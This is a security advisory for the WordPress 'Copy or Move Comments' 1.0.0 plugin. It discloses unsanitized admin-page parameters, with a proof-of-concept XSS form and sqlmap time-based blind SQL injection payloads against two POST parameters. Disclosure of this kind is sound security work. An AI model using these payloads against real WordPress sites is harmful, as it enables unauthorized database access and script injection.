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WordPress Copy Or Move Comments 1.0.0 Cross Site Scripting

Posted on 03 August 2015

Title: WordPress 'Copy or Move Comments' Plugin
Version: 1.0.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download:
- https://wordpress.org/plugins/copy-or-move-comments/
- https://plugins.svn.wordpress.org/copy-or-move-comments/
Notified WordPress: 2015-06-21
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## Plugin description
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Using Copy/Move WordPress Plugin the admin can copy or move any comment from several types of pages to any other page!

## Vulnerabilities
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Two POST parameters are printed unsanitized on the plugins admin page.

PoC:
Log in as admin and submit the following form:
<form method="POST" action="[URL]/wp-admin/admin-ajax.php">
 <input type="text" name="action" value="get_all_posts" readonly><br />
 <input type="text" name="post_type" value="'</script><script> alert(1)</script>"><br />
 <input type="text" name="action_type" value="'</script><script> alert(2)</script>"><br />
 <input type="submit">
</form>

Some of the SQL queries are exploitable from the admin page.

SQLMAP log snippet:
POST parameter 'source_post' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
...
POST parameter 'target_post' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 174 HTTP(s) requests:
---
Parameter: source_post (POST)
 Type: AND/OR time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
 Payload: option_page=copy-move-settings-group&action=update&_wpnonce=5fd9b35c58&_wp_http_referer=/projects
/wp422/wp-admin//admin.php?page=copy-move%26error=1&copy-move=move&all_post_types=post&source_post=1 AND (SELE
CT * FROM (SELECT(SLEEP(5)))HzuL)&move_comment_id[]=1&target_post=10&action=action_move

Parameter: target_post (POST)
 Type: AND/OR time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
 Payload: option_page=copy-move-settings-group&action=update&_wpnonce=5fd9b35c58&_wp_http_referer=/projects
/wp422/wp-admin//admin.php?page=copy-move%26error=1&copy-move=move&all_post_types=post&source_post=1&move_comm
ent_id[]=1&target_post=10 AND (SELECT * FROM (SELECT(SLEEP(5)))kBfe)&action=action_move
---

## Solution
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No fix available

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Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

 

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